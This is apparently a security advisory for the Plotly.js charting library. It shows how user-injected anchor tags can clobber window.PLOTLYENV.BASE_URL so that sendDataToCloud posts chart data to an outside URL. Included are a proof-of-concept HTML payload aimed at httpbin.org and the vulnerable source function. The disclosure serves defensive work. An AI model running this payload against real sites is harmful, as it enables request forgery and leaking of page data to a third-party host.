Plotly.js is a standalone Javascript data visualization library, and it also powers the Python and R modules named plotly in those respective ecosystems (referred to as Plotly.py and Plotly.R).
The Plooty.js library uses the window.PLOTLYENV.BASE_URL
value as an URL reference to sendDataToCloud using a POST <form>
. This can be used to perform a Cross-site request forgery (CSRF) attack.
<!-- user input -->
<a id="PLOTLYENV"></a>
<a id="PLOTLYENV" name="BASE_URL" href="https://httpbin.org/anything?"></a>
<div id="gd"></div>
<script src="https://cdn.plot.ly/plotly-3.0.1.min.js"></script>
<script>
Plotly.newPlot("gd", /* JSON object */ {
"data": [{ "y": [1, 2, 3] }],
"layout": { "width": 600, "height": 400}
})
Plotly.Plots.sendDataToCloud(gd);
</script>
Root Cause
plots.sendDataToCloud = function(gd) {
var baseUrl = (window.PLOTLYENV || {}).BASE_URL || gd._context.plotlyServerURL;
if(!baseUrl) return;
gd.emit('plotly_beforeexport');
var hiddenformDiv = d3.select(gd)
.append('div')
.attr('id', 'hiddenform')
.style('display', 'none');
var hiddenform = hiddenformDiv
.append('form')
.attr({
action: baseUrl + '/external',
method: 'post',
target: '_blank'
});
var hiddenformInput = hiddenform
.append('input')
.attr({
type: 'text',
name: 'data'
});
hiddenformInput.node().value = plots.graphJson(gd, false, 'keepdata');
hiddenform.node().submit();
hiddenformDiv.remove();
gd.emit('plotly_afterexport');
return false;
};
Related links:
Found by jackfromeast, ishmeals.